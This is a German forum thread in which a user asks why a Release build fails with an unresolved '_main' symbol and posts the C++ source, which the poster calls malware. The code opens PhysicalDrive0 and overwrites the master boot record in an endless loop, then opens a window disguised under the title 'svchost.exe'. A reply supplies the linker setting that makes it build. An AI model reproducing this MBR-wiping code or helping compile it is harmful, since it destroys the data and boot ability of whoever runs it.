Nicht aufgelöstes externes Symbol "_main". InjectorMC C:\Users\red\source\repos\InjectorMC\InjectorMC\MSVCRT.lib(exe_main.obj) 1



  • Jo, wenn ich in Releasemode eine Anwendung erstelle, kommt der Fehler.

    Bitte den Code nicht ausführen, da dieser Malware enthält. Entweder nur analysieren, oder auf einer Virtual Mashine ausführen.

    #include <windows.h>
    #include <cassert>
    #include <iostream>
    
    
    #define MBR_SIZE 512;
    
    const unsigned char MasterBootRecord[512] = {};
    
    void mbrfuck() {
    	while (true) {
    		DWORD dwBytesWritten;
    		HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
    		WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0);
    		CloseHandle(hDevice);
    	}
    }
    
    
    LRESULT CALLBACK MessageHandler(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    	switch (uMsg) {
    	case WM_CLOSE:
    	case WM_DESTROY:
    		PostQuitMessage(0);
    		return 0;
    	}
    	return DefWindowProc(hWnd, uMsg, wParam, lParam);
    }
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    
    
    	mbrfuck();
    	
    	HWND hWnd;
    	WNDCLASS wc;
    	MSG msg;
    
    	wc = {};
    	wc.style = CS_HREDRAW | CS_VREDRAW;
    	wc.lpfnWndProc = MessageHandler;
    	wc.hInstance = hInstance;
    	wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    	wc.lpszClassName = TEXT("GodClient v1");
    
    	assert(RegisterClass(&wc));
    
    	hWnd = CreateWindow(TEXT("GodClient v1"), TEXT("svchost.exe"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, 0, 0, hInstance, 0);
    
    	ShowWindow(hWnd, nCmdShow);
    	UpdateWindow(hWnd);
    
    	while (true) {
    		BOOL result = GetMessage(&msg, 0, 0, 0);
    		if (result > 0) {
    			TranslateMessage(&msg);
    			DispatchMessage(&msg);
    		}
    		else {
    			return result;
    		}
    	}
    }
    


  • Linker auf /subsystem:windows umstellen.



  • @Swordfish danke.


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